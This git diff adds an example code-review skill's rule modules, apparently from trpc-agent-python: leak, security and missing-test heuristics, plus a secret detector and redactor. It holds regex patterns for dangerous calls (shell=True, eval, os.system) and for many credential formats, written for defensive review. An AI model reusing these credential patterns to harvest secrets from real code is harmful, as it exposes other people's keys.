+# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Resource-lifecycle rules for handles created in changed Python hunks.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ( + ReviewRule, + RuleMatch, + advance_triple_quote_state, + hunk_new_side_lines, + mask_non_code_line, +) +from .secret_rules import redact_text + + +@dataclass(frozen=True) +class ResourceRule: + """Find a created resource whose hunk does not show a lifecycle close.""" + + rule_id: str + constructor: re.Pattern[str] + severity: str + confidence: float + title: str + recommendation: str + category: str = "resource-leak" + requires_full_file: bool = False + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """检查新增 Python hunk 中打开资源是否在可见范围内关闭。""" + + matches = [] + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope == "deleted_lines": + continue + for hunk in file_change.hunks: + triple_quote = None + lines = [] + for line_number, line_text, is_added in hunk_new_side_lines(hunk): + triple_quote, is_triple_quoted = advance_triple_quote_state( + line_text, + triple_quote, + ) + if is_triple_quoted: + continue + code, _ = mask_non_code_line(line_text) + lines.append((line_number, line_text, code, is_added)) + for line_number, line_text, code, is_added in lines: + if not is_added: + continue + candidate = self.constructor.search(code) + if candidate is None: + continue + variable = candidate.group("variable") + close_pattern = re.compile(rf"\b{re.escape(variable)}\.close\s*\(") + if any(close_pattern.search(other_code) for _, _, other_code, _ in lines): + continue + matches.append( + RuleMatch( + rule_id=self.rule_id, + category=self.category, + severity=self.severity, + confidence=self.confidence, + file=file_change.normalized_path, + line=line_number, + title=self.title, + evidence=redact_text(line_text), + recommendation=self.recommendation, + source="heuristic", + ) + ) + return tuple(matches) + + +def default_resource_rules() -> Tuple[ReviewRule, ...]: + """按稳定执行顺序返回资源生命周期规则。""" + + return ( + ResourceRule( + rule_id="resource.open-without-close", + constructor=re.compile(r"\b(?P[A-Za-z_]\w*)\s*=\s*open\s*\("), + severity="medium", + confidence=0.74, + title="File handle opened without a visible close", + recommendation="Use a with block or close the handle on every execution path.", + ), + ResourceRule( + rule_id="resource.client-session-without-close", + constructor=re.compile( + r"\b(?P[A-Za-z_]\w*)\s*=\s*(?:aiohttp\.)?ClientSession\s*\(" + ), + severity="medium", + confidence=0.78, + title="ClientSession is created without a visible close", + recommendation="Use async with or await session.close on every execution path.", + ), + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_security.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_security.py new file mode 100644 index 000000000..b6f339b97 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_security.py @@ -0,0 +1,213 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Heuristic security rules that operate only on executable Python code.""" + +from __future__ import annotations + +import re +from dataclasses import dataclass +from typing import Callable, Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ( + ReviewRule, + RuleMatch, + SecretRule, + advance_triple_quote_state, + hunk_new_side_lines, + mask_non_code_line, +) +from .secret_rules import redact_text + + +_SQL_KEYWORDS = re.compile(r"\b(?:select|insert|update|delete)\b", re.IGNORECASE) +_INTERPOLATION = re.compile(r"\{[^{}]+\}") +_SHELL_TRUE = re.compile( + r"\bsubprocess\.(?:run|call|check_call|check_output|Popen)\s*\([^\n]*\bshell\s*=\s*True\b" +) +_DYNAMIC_EVAL = re.compile( + r"(?:\bbuiltins\.eval|(? Tuple[RuleMatch, ...]: + """扫描新增 Python 行,返回命中的确定性安全风险候选项。""" + + matches = [] + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope == "deleted_lines": + continue + for hunk in file_change.hunks: + triple_quote = None + for line_number, line_text, is_added in hunk_new_side_lines(hunk): + triple_quote, is_triple_quoted = advance_triple_quote_state( + line_text, + triple_quote, + ) + if not is_added or is_triple_quoted: + continue + code, f_strings = mask_non_code_line(line_text) + if not self.detector(code, f_strings): + continue + matches.append( + RuleMatch( + rule_id=self.rule_id, + category=self.category, + severity=self.severity, + confidence=self.confidence, + file=file_change.normalized_path, + line=line_number, + title=self.title, + evidence=redact_text(line_text), + recommendation=self.recommendation, + source="heuristic", + ) + ) + return tuple(matches) + + +def _sql_fstring(_code: str, f_strings: Tuple[str, ...]) -> bool: + """判断 f-string 中是否含有插值构造的 SQL 语句。""" + + if any(_SQL_KEYWORDS.search(value) and _INTERPOLATION.search(value) for value in f_strings): + return True + return bool( + re.search( + r"\bf(?:r|u|b)?(?:'|\").*\b(?:select|insert|update|delete)\b.*\{[^{}]+\}", + _code, + re.IGNORECASE, + ) + ) + + +def _shell_true(code: str, _f_strings: Tuple[str, ...]) -> bool: + """判断 subprocess 调用是否显式启用 ``shell=True``。""" + + return bool(_SHELL_TRUE.search(code)) + + +def _dynamic_eval(code: str, _f_strings: Tuple[str, ...]) -> bool: + """判断代码行是否直接调用内置或限定名 eval。""" + + return bool(_DYNAMIC_EVAL.search(code)) + + +def _dynamic_exec(code: str, _f_strings: Tuple[str, ...]) -> bool: + """判断代码行是否直接调用内置或限定名 exec。""" + + return bool(_DYNAMIC_EXEC.search(code)) + + +def _os_system(code: str, _f_strings: Tuple[str, ...]) -> bool: + """判断代码行是否调用隐式 shell 的 ``os.system``。""" + + return bool(_OS_SYSTEM.search(code)) + + +def _os_popen(code: str, _f_strings: Tuple[str, ...]) -> bool: + """判断代码行是否调用隐式经过 shell 的 os.popen。""" + + return bool(_OS_POPEN.search(code)) + + +def _subprocess_shell_command( + code: str, + _f_strings: Tuple[str, ...], +) -> bool: + """判断代码行是否调用 subprocess 的隐式 shell 辅助函数。""" + + return bool(_SUBPROCESS_SHELL_COMMAND.search(code)) + + +def default_security_rules() -> Tuple[ReviewRule, ...]: + """按确定性顺序返回 A4 安全规则包。""" + + return ( + SecurityRule( + rule_id="security.sql-fstring", + severity="high", + confidence=0.82, + title="SQL is built with an interpolated f-string", + recommendation="Use parameterized queries and bind user-controlled values separately.", + detector=_sql_fstring, + ), + SecurityRule( + rule_id="security.subprocess-shell-true", + severity="high", + confidence=0.85, + title="subprocess executes with shell=True", + recommendation="Pass an argument list with shell disabled and validate all command inputs.", + detector=_shell_true, + ), + SecurityRule( + rule_id="security.dynamic-eval", + severity="critical", + confidence=0.85, + title="Dynamic eval can execute untrusted input", + recommendation="Replace eval with a strict parser or allowlisted dispatch table.", + detector=_dynamic_eval, + ), + SecurityRule( + rule_id="security.dynamic-exec", + severity="critical", + confidence=0.85, + title="Dynamic exec can execute untrusted input", + recommendation="Remove exec and use explicit, allowlisted program behavior.", + detector=_dynamic_exec, + ), + SecurityRule( + rule_id="security.os-system", + severity="high", + confidence=0.85, + title="os.system invokes a shell command", + recommendation="Use subprocess with shell disabled and a validated argument list.", + detector=_os_system, + ), + SecurityRule( + rule_id="security.os-popen", + severity="high", + confidence=0.85, + title="os.popen invokes a shell command", + recommendation="Use subprocess with shell disabled and a validated argument list.", + detector=_os_popen, + ), + SecurityRule( + rule_id="security.subprocess-shell-command", + severity="high", + confidence=0.85, + title="subprocess helper executes through a shell", + recommendation=( + "Use subprocess with shell disabled, pass an argument list, " + "and validate all command inputs." + ), + detector=_subprocess_shell_command, + ), + SecretRule(), + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_tests.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_tests.py new file mode 100644 index 000000000..1c88e31d9 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/rules_tests.py @@ -0,0 +1,82 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Change-set-level missing-test heuristic.""" + +from __future__ import annotations + +from dataclasses import dataclass +from typing import Tuple + +from .diff_parser import ChangeSet +from .rule_engine import ReviewRule, RuleMatch + + +def _is_test_path(path: str) -> bool: + """依据约定目录和文件名判断路径是否为 Python 测试文件。""" + + normalized = path.replace("\\", "/").lower() + file_name = normalized.rsplit("/", 1)[-1] + return "/tests/" in f"/{normalized}" or file_name.startswith("test_") or file_name.endswith("_test.py") + + +@dataclass(frozen=True) +class MissingTestsRule: + """Suggest human review when changed production Python lacks changed tests.""" + + rule_id: str = "tests.missing-coverage" + category: str = "missing-tests" + severity: str = "low" + confidence: float = 0.65 + requires_full_file: bool = False + + def match(self, change_set: ChangeSet) -> Tuple[RuleMatch, ...]: + """在生产代码变更没有同次测试变更时生成低置信度候选项。""" + + changed_tests = any( + file_change.normalized_path.endswith(".py") + and _is_test_path(file_change.normalized_path) + and bool(file_change.new_changed_lines) + for file_change in change_set.files + ) + if changed_tests: + return () + + candidates = [] + for file_change in change_set.files: + if file_change.is_binary or not file_change.normalized_path.endswith(".py"): + continue + if file_change.review_scope == "deleted_lines" or _is_test_path(file_change.normalized_path): + continue + if not file_change.new_changed_lines: + continue + candidates.append((file_change.normalized_path, min(file_change.new_changed_lines))) + if not candidates: + return () + + file_path, line_number = sorted(candidates)[0] + return ( + RuleMatch( + rule_id=self.rule_id, + category=self.category, + severity=self.severity, + confidence=self.confidence, + file=file_path, + line=line_number, + title="Production Python changed without a changed test file", + evidence="Changed production Python file has no changed test-file companion in this review.", + recommendation="Add or update focused tests, or record why existing coverage is sufficient.", + source="heuristic", + ), + ) + + +def default_test_rules() -> Tuple[ReviewRule, ...]: + """返回基于变更集的测试缺失启发式规则。""" + + return (MissingTestsRule(),) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/lib/secret_rules.py b/examples/skills_code_review_agent/skills/code-review/scripts/lib/secret_rules.py new file mode 100644 index 000000000..67f21d829 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/lib/secret_rules.py @@ -0,0 +1,290 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Shared secret detection and redaction patterns. + +The detector intentionally returns locations and types, never matched values. +This makes the module safe to reuse in the sandbox and by host-side output +redaction while keeping one regular-expression table as the source of truth. +""" + +from __future__ import annotations + +import math +import re +from dataclasses import dataclass +from typing import Iterable, Tuple + +from .diff_parser import ChangeSet + + +@dataclass(frozen=True) +class SecretPatternSpec: + """One deterministic secret pattern and its redaction label.""" + + secret_type: str + expression: str + confidence: float = 0.95 + + @property + def pattern(self) -> re.Pattern[str]: + """编译并返回该密钥类型对应的忽略大小写正则表达式。""" + + return re.compile(self.expression, re.IGNORECASE | re.MULTILINE) + + +@dataclass(frozen=True) +class SecretMatch: + """A non-sensitive match description for use inside a review task.""" + + secret_type: str + start: int + end: int + confidence: float + + +@dataclass(frozen=True) +class SecretLocation: + """A redacted secret location extracted from a parsed review input.""" + + secret_type: str + file: str + line: int + line_side: str + confidence: float + evidence: str + + +_ASSIGNMENT_VALUE = r"(?:'[^'\n]+'|\"[^\"\n]+\"|[^\s#;]+)" + +SECRET_PATTERN_SPECS: Tuple[SecretPatternSpec, ...] = ( + SecretPatternSpec("aws_access_key", r"\b(?:AKIA|ASIA)[0-9A-Z]{16}\b"), + SecretPatternSpec("github_token", r"\b(?:ghp_[A-Za-z0-9]{36}|github_pat_[A-Za-z0-9_]{20,})\b"), + SecretPatternSpec("gitlab_token", r"\bglpat-[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("slack_token", r"\bxox[baprs]-\d+-\d+-[A-Za-z0-9-]{20,}\b"), + SecretPatternSpec("openai_api_key", r"\bsk-(?:proj-)?[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("stripe_secret_key", r"\b(?:sk|rk)_(?:live|test)_[A-Za-z0-9]{20,}\b"), + SecretPatternSpec("sendgrid_api_key", r"\bSG\.[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("npm_token", r"\bnpm_[A-Za-z0-9]{20,}\b"), + SecretPatternSpec("pypi_token", r"\bpypi-[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("google_api_key", r"\bAIza[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("huggingface_token", r"\bhf_[A-Za-z0-9]{20,}\b"), + SecretPatternSpec("terraform_token", r"\bATLAS-[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("digitalocean_token", r"\bdop_v1_[A-Za-z0-9]{20,}\b"), + SecretPatternSpec("square_access_token", r"\bsq0atp-[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("shopify_access_token", r"\bshpat_[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("linear_api_key", r"\blin_api_[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("mailgun_api_key", r"\bkey-[A-Za-z0-9_-]{20,}\b"), + SecretPatternSpec("jwt", r"\beyJ[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{8,}\.[A-Za-z0-9_-]{16,}\b"), + SecretPatternSpec("private_key", r"-----BEGIN (?:[A-Z ]+ )?PRIVATE KEY-----"), + SecretPatternSpec( + "database_url", + r"\b(?:postgres(?:ql)?|mysql(?:\+[A-Za-z0-9_]+)?|mongodb(?:\+srv)?|redis|amqps?)://[^\s/@:]*:[^\s/@]+@[^\s/]+", + ), + SecretPatternSpec("bearer_token", r"\bBearer\s+[A-Za-z0-9._-]{20,}"), + SecretPatternSpec( + "azure_storage_key", + r"\bAccountKey\s*=\s*[A-Za-z0-9+/]{32,}={0,2}", + ), + SecretPatternSpec( + "twilio_auth_token", + r"\btwilio_auth_token\s*[=:]\s*" + _ASSIGNMENT_VALUE, + ), + SecretPatternSpec( + "datadog_api_key", + r"\bDD_API_KEY\s*[=:]\s*" + _ASSIGNMENT_VALUE, + ), + SecretPatternSpec( + "new_relic_license_key", + r"\bNEW_RELIC_LICENSE_KEY\s*[=:]\s*" + _ASSIGNMENT_VALUE, + ), + SecretPatternSpec( + "sentry_dsn", + r"https?://[0-9a-f]{24,}@[A-Za-z0-9.-]+/\d+\b", + ), + SecretPatternSpec( + "discord_token", + r"\b[A-Za-z0-9_-]{20,}\.[A-Za-z0-9_-]{6,}\.[A-Za-z0-9_-]{20,}\b", + 0.92, + ), + SecretPatternSpec( + "password", + r"\b(?:[A-Za-z0-9_]*password|passwd|pwd)\s*[=:]\s*" + _ASSIGNMENT_VALUE, + 0.91, + ), + SecretPatternSpec( + "token", + r"\b(?:[A-Za-z0-9_]*token)\s*[=:]\s*" + _ASSIGNMENT_VALUE, + 0.91, + ), + SecretPatternSpec( + "secret", + r"\b(?:[A-Za-z0-9_]*secret(?:_key)?|credential)\s*[=:]\s*" + _ASSIGNMENT_VALUE, + 0.91, + ), +) + +_PLACEHOLDER_VALUES = { + "redacted", + "changeme", + "example", + "example-api-key", + "your-token-here", + "your_github_token_here", + "token", + "api-key", +} + + +def shannon_entropy(value: str) -> float: + """计算给定文本的 Shannon 熵(每字符 bit 数)。""" + + if not value: + return 0.0 + length = len(value) + return -sum( + (count / length) * math.log2(count / length) + for count in (value.count(character) for character in set(value)) + ) + + +def _is_placeholder(value: str) -> bool: + """判断命中内容是否仅含文档占位值,兼容 ``token='example'`` 形式。""" + + normalized = value.strip().strip("'\"").lower().strip("<>") + if "=" in normalized or ":" in normalized: + separator = "=" if "=" in normalized else ":" + normalized = normalized.split(separator, maxsplit=1)[1].strip().strip("'\"").strip("<>") + return ( + normalized in _PLACEHOLDER_VALUES + or "redacted" in normalized + or "changeme" in normalized + or "your-" in normalized + or "your_" in normalized + or normalized.startswith("example") + or "[redacted" in normalized + ) + + +def _high_entropy_matches(text: str) -> Iterable[SecretMatch]: + """从敏感赋值语境中提取满足高熵阈值的密钥候选。""" + + assignment = re.compile( + r"\b(?:credential|value|api[_-]?key|access[_-]?key|auth(?:orization)?)" + r"\s*[=:]\s*(?P'[^'\n]+'|\"[^\"\n]+\")", + re.IGNORECASE | re.MULTILINE, + ) + for candidate in assignment.finditer(text): + value = candidate.group("value").strip("'\"") + if len(value) >= 24 and shannon_entropy(value) >= 3.5: + yield SecretMatch( + secret_type="high_entropy_secret", + start=candidate.start(), + end=candidate.end(), + confidence=0.96, + ) + + +def detect_secrets(text: str) -> Tuple[SecretMatch, ...]: + """检测敏感信息但不向调用方返回其原始值。 + + The regular-expression specs also drive ``redact_text``. Placeholder + examples are filtered after a pattern matches so comments containing real + credentials remain detectable while documentation placeholders stay quiet. + """ + + matches = [] + for spec in SECRET_PATTERN_SPECS: + for candidate in spec.pattern.finditer(text): + if not _is_placeholder(candidate.group(0)): + matches.append( + SecretMatch( + secret_type=spec.secret_type, + start=candidate.start(), + end=candidate.end(), + confidence=spec.confidence, + ) + ) + matches.extend(_high_entropy_matches(text)) + selected = [] + occupied_ranges = [] + for match in sorted( + matches, + key=lambda item: (-item.confidence, item.start, -(item.end - item.start), item.secret_type), + ): + if any(match.start < end and start < match.end for start, end in occupied_ranges): + continue + selected.append(match) + occupied_ranges.append((match.start, match.end)) + return tuple(sorted(selected, key=lambda item: (item.start, item.end, item.secret_type))) + + +def redact_text(text: str) -> str: + """将每个检测到的敏感信息替换为带类型的非敏感标记。""" + + redacted = text + for match in sorted(detect_secrets(text), key=lambda item: (item.start, item.end), reverse=True): + redacted = ( + redacted[:match.start] + + f"[REDACTED:{match.secret_type}]" + + redacted[match.end:] + ) + return redacted + + +def contains_secret(text: str) -> bool: + """返回文本中是否仍存在未脱敏的敏感信息语法。""" + + return bool(detect_secrets(text)) + + +def detect_change_set_secrets(change_set: ChangeSet) -> Tuple[SecretLocation, ...]: + """扫描新增内容和删除旧侧内容,并保留其真实坐标。""" + + locations = [] + for file_change in change_set.files: + if file_change.is_binary: + continue + for hunk in file_change.hunks: + new_lines = dict(hunk.context_lines) + new_lines.update(hunk.added_lines) + for line_number, line_text in sorted(new_lines.items()): + for match in detect_secrets(line_text): + locations.append( + SecretLocation( + secret_type=match.secret_type, + file=file_change.normalized_path, + line=line_number, + line_side="new", + confidence=match.confidence, + evidence=redact_text(line_text), + ) + ) + for line_number, line_text in sorted(hunk.deleted_lines.items()): + for match in detect_secrets(line_text): + locations.append( + SecretLocation( + secret_type=match.secret_type, + file=file_change.normalized_path, + line=line_number, + line_side="old", + confidence=match.confidence, + evidence=redact_text(line_text), + ) + ) + + unique = {} + for location in locations: + unique.setdefault( + (location.file, location.line, location.line_side, location.secret_type), + location, + ) + return tuple( + unique[key] + for key in sorted(unique, key=lambda item: (item[0], item[2] != "new", item[1], item[3])) + ) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/manifest.json b/examples/skills_code_review_agent/skills/code-review/scripts/manifest.json new file mode 100644 index 000000000..96fe8201e --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/manifest.json @@ -0,0 +1,60 @@ +{ + "schema_version": "1.0.0", + "skill_name": "code-review", + "scripts": [ + { + "script_id": "parse_diff", + "entrypoint": "parse_diff.py", + "sha256": "59852338b7963bd2bab95097bcea4be63bdec86ed8f3caa3bdef779324ad511f", + "files": [ + {"path": "lib/__init__.py", "sha256": "b15737e1e5f4783a530a5d7bbbf5f2f5f1b2fa7415f1864ea15d15fabdf41e22"}, + {"path": "lib/diff_parser.py", "sha256": "9646b351718f69c423f16f3b98d4b1bf4408f062cbaeac86eccca26d71f393de"}, + {"path": "lib/rule_engine.py", "sha256": "8ec31a73adb459e2db4c816233231bb1b90ac34d1edf5897fb2babdeff11cd21"}, + {"path": "lib/rules_ast.py", "sha256": "ce6caa68ba2bc025151a2b1dd4314b7ad866b76d11a0fcc634d526cc04c0f4c5"}, + {"path": "lib/rules_async.py", "sha256": "0363b9653ffffb2cfd1d171e5a082e179495d8e255b8c889987f97741fed9378"}, + {"path": "lib/rules_db.py", "sha256": "fdc765ed9ff03d6c00690d47c515a30379ce26d050240ebbce12448892094bcf"}, + {"path": "lib/rules_resource.py", "sha256": "dd9182acc914f92ff61de0e3cd1e4a24bed63d7e0692975ccdaaaac9133f8488"}, + {"path": "lib/rules_security.py", "sha256": "3e17e3bd8f1bf829d7e7a784ffd9c16c3080e54add2bddd5fc8b6d05d893cc9d"}, + {"path": "lib/rules_tests.py", "sha256": "c51fcb4d7cb8e3bcb9e82f31f423ced874fb5a11ae82e03db7d2e8288f64b4f3"}, + {"path": "lib/secret_rules.py", "sha256": "747950ef1deeb7f0b3dcfb9fd81fc89f1b78acdac03f9dbdfd63ff2972a62af8"}, + {"path": "parse_diff.py", "sha256": "59852338b7963bd2bab95097bcea4be63bdec86ed8f3caa3bdef779324ad511f"}, + {"path": "run_checks.py", "sha256": "6c7996e7c3df4ec5a70036e23eed8cc1a017e7e96ce1e86f3748a83993053936"} + ], + "arguments": { + "type": "object", + "additional_properties": false, + "properties": {} + }, + "timeout_seconds": 30, + "max_output_bytes": 1048576, + "requires_network": false + }, + { + "script_id": "run_checks", + "entrypoint": "run_checks.py", + "sha256": "6c7996e7c3df4ec5a70036e23eed8cc1a017e7e96ce1e86f3748a83993053936", + "files": [ + {"path": "lib/__init__.py", "sha256": "b15737e1e5f4783a530a5d7bbbf5f2f5f1b2fa7415f1864ea15d15fabdf41e22"}, + {"path": "lib/diff_parser.py", "sha256": "9646b351718f69c423f16f3b98d4b1bf4408f062cbaeac86eccca26d71f393de"}, + {"path": "lib/rule_engine.py", "sha256": "8ec31a73adb459e2db4c816233231bb1b90ac34d1edf5897fb2babdeff11cd21"}, + {"path": "lib/rules_ast.py", "sha256": "ce6caa68ba2bc025151a2b1dd4314b7ad866b76d11a0fcc634d526cc04c0f4c5"}, + {"path": "lib/rules_async.py", "sha256": "0363b9653ffffb2cfd1d171e5a082e179495d8e255b8c889987f97741fed9378"}, + {"path": "lib/rules_db.py", "sha256": "fdc765ed9ff03d6c00690d47c515a30379ce26d050240ebbce12448892094bcf"}, + {"path": "lib/rules_resource.py", "sha256": "dd9182acc914f92ff61de0e3cd1e4a24bed63d7e0692975ccdaaaac9133f8488"}, + {"path": "lib/rules_security.py", "sha256": "3e17e3bd8f1bf829d7e7a784ffd9c16c3080e54add2bddd5fc8b6d05d893cc9d"}, + {"path": "lib/rules_tests.py", "sha256": "c51fcb4d7cb8e3bcb9e82f31f423ced874fb5a11ae82e03db7d2e8288f64b4f3"}, + {"path": "lib/secret_rules.py", "sha256": "747950ef1deeb7f0b3dcfb9fd81fc89f1b78acdac03f9dbdfd63ff2972a62af8"}, + {"path": "parse_diff.py", "sha256": "59852338b7963bd2bab95097bcea4be63bdec86ed8f3caa3bdef779324ad511f"}, + {"path": "run_checks.py", "sha256": "6c7996e7c3df4ec5a70036e23eed8cc1a017e7e96ce1e86f3748a83993053936"} + ], + "arguments": { + "type": "object", + "additional_properties": false, + "properties": {} + }, + "timeout_seconds": 30, + "max_output_bytes": 1048576, + "requires_network": false + } + ] +} diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/parse_diff.py b/examples/skills_code_review_agent/skills/code-review/scripts/parse_diff.py new file mode 100644 index 000000000..222d61422 --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/parse_diff.py @@ -0,0 +1,120 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Sandbox entry point that emits a non-sensitive unified-diff summary.""" + +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any, Dict + +from lib.diff_parser import ( + ChangeSet, + parse_unified_diff, + restore_change_set_context, +) + + +_INPUT_PATH = Path("work") / "inputs" / "diff.json" +_OUTPUT_PATH = Path("out") / "parsed.json" + + +def _load_change_set(input_path: Path) -> ChangeSet: + """读取受控 diff 载荷,但不打印其中任何原始内容。""" + + payload = json.loads(input_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise ValueError("input payload must be an object") + source_kind = payload.get("source_kind", "diff_file") + input_sha256 = payload.get("input_sha256") + diff_text = payload.get("diff") + full_files = payload.get("full_files") + file_metadata = payload.get("file_metadata") + if source_kind not in {"diff_file", "repo_path", "files", "fixture"}: + raise ValueError("input source_kind is invalid") + if not isinstance(diff_text, str): + raise ValueError("input diff must be a string") + if ( + input_sha256 is None + and full_files is None + and file_metadata is None + ): + return parse_unified_diff(diff_text, source_kind=source_kind) + if ( + not isinstance(input_sha256, str) + or not isinstance(full_files, dict) + or not all( + isinstance(path, str) and isinstance(content, str) + for path, content in full_files.items() + ) + or not isinstance(file_metadata, dict) + or not all( + isinstance(path, str) and isinstance(metadata, dict) + for path, metadata in file_metadata.items() + ) + ): + raise ValueError("input context metadata is invalid") + parsed_source_kind = ( + source_kind + if source_kind in {"diff_file", "repo_path", "fixture"} + else "fixture" + ) + change_set = parse_unified_diff( + diff_text, + source_kind=parsed_source_kind, + ) + return restore_change_set_context( + change_set, + source_kind=source_kind, + input_sha256=input_sha256, + full_files=full_files, + file_metadata=file_metadata, + ) + + +def _summary(change_set: ChangeSet) -> Dict[str, Any]: + """仅返回元数据,禁止原始代码和 hunk 内容离开沙箱。""" + + return { + "schema_version": "1.0.0", + "source_kind": change_set.source_kind, + "input_sha256": change_set.input_sha256, + "file_count": change_set.file_count, + "hunk_count": change_set.hunk_count, + "additions": change_set.additions, + "deletions": change_set.deletions, + "parse_warning_count": len(change_set.parse_warnings), + "files": [ + { + "path": file_change.normalized_path, + "status": file_change.status, + "review_scope": file_change.review_scope, + "is_binary": file_change.is_binary, + "analysis_mode": file_change.analysis_mode, + "hunk_count": len(file_change.hunks), + } + for file_change in change_set.files + ], + } + + +def main() -> int: + """读取固定 workspace 输入,并写入一份规范化解析摘要。""" + + change_set = _load_change_set(_INPUT_PATH) + _OUTPUT_PATH.parent.mkdir(parents=True, exist_ok=True) + _OUTPUT_PATH.write_text( + json.dumps(_summary(change_set), ensure_ascii=False, sort_keys=True, indent=2) + "\n", + encoding="utf-8", + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/skills_code_review_agent/skills/code-review/scripts/run_checks.py b/examples/skills_code_review_agent/skills/code-review/scripts/run_checks.py new file mode 100644 index 000000000..40c14c4ce --- /dev/null +++ b/examples/skills_code_review_agent/skills/code-review/scripts/run_checks.py @@ -0,0 +1,92 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Sandbox entry point for redacted deterministic review findings.""" + +from __future__ import annotations + +import json +from pathlib import Path +from typing import Any, Dict, Tuple + +from lib.diff_parser import ChangeSet +from lib.rules_ast import default_ast_rules +from lib.rules_async import default_async_rules +from lib.rules_db import default_db_rules +from lib.rules_resource import default_resource_rules +from lib.rules_security import default_security_rules +from lib.rules_tests import default_test_rules +from lib.rule_engine import RuleEngine, RuleMatch +from lib.secret_rules import redact_text +from parse_diff import _load_change_set + + +_INPUT_PATH = Path("work") / "inputs" / "diff.json" +_OUTPUT_PATH = Path("out") / "findings.json" + + +def _rule_engine() -> RuleEngine: + """构造由当前 Skill 独占的唯一确定性规则包。""" + + return RuleEngine( + ( + *default_security_rules(), + *default_async_rules(), + *default_resource_rules(), + *default_db_rules(), + *default_test_rules(), + *default_ast_rules(), + ) + ) + + +def _finding(match: RuleMatch) -> Dict[str, Any]: + """将规则结果转换为已脱敏的可移植 finding 契约。""" + + return { + "severity": match.severity, + "category": match.category, + "file": match.file, + "line": match.line, + "title": redact_text(match.title), + "evidence": redact_text(match.evidence), + "recommendation": redact_text(match.recommendation), + "confidence": match.confidence, + "source": match.source, + "rule_id": match.rule_id, + "line_side": match.line_side, + } + + +def _findings(change_set: ChangeSet) -> Tuple[Dict[str, Any], ...]: + """运行全部注册规则,并保留确定性的匹配排序。""" + + return tuple(_finding(match) for match in _rule_engine().match(change_set)) + + +def main() -> int: + """读取固定输入,只写出已脱敏的结构化 finding。""" + + change_set = _load_change_set(_INPUT_PATH) + findings = _findings(change_set) + payload = { + "schema_version": "1.0.0", + "input_sha256": change_set.input_sha256, + "finding_count": len(findings), + "findings": findings, + } + _OUTPUT_PATH.parent.mkdir(parents=True, exist_ok=True) + _OUTPUT_PATH.write_text( + json.dumps(payload, ensure_ascii=False, sort_keys=True, indent=2) + "\n", + encoding="utf-8", + ) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/examples/skills_code_review_agent/tests/README.md b/examples/skills_code_review_agent/tests/README.md new file mode 100644 index 000000000..a481e4973 --- /dev/null +++ b/examples/skills_code_review_agent/tests/README.md @@ -0,0 +1,9 @@ +# Test layout + +- `unit/`: deterministic module behavior through one public interface; no network, Docker, or real model key. +- `integration/`: collaboration across modules or local adapters such as SQLite, Filter, sandbox, and Skill execution. +- `e2e/`: complete CLI or evaluate flows ending in reports, database bundles, metrics, and exit codes. +- `fixtures/`: test inputs and expected data only; executable tests do not live here. `diffs/` contains eight `_simple` cases and eight paired `_complex` cases with multi-file engineering context. +- `support/`: shared fakes, builders, and assertions used by more than one test layer. + +All commands must use the repository `.venv` interpreter. Mandatory public fixtures must fail when missing rather than skip. diff --git a/examples/skills_code_review_agent/tests/conftest.py b/examples/skills_code_review_agent/tests/conftest.py new file mode 100644 index 000000000..c2e1980db --- /dev/null +++ b/examples/skills_code_review_agent/tests/conftest.py @@ -0,0 +1,20 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + 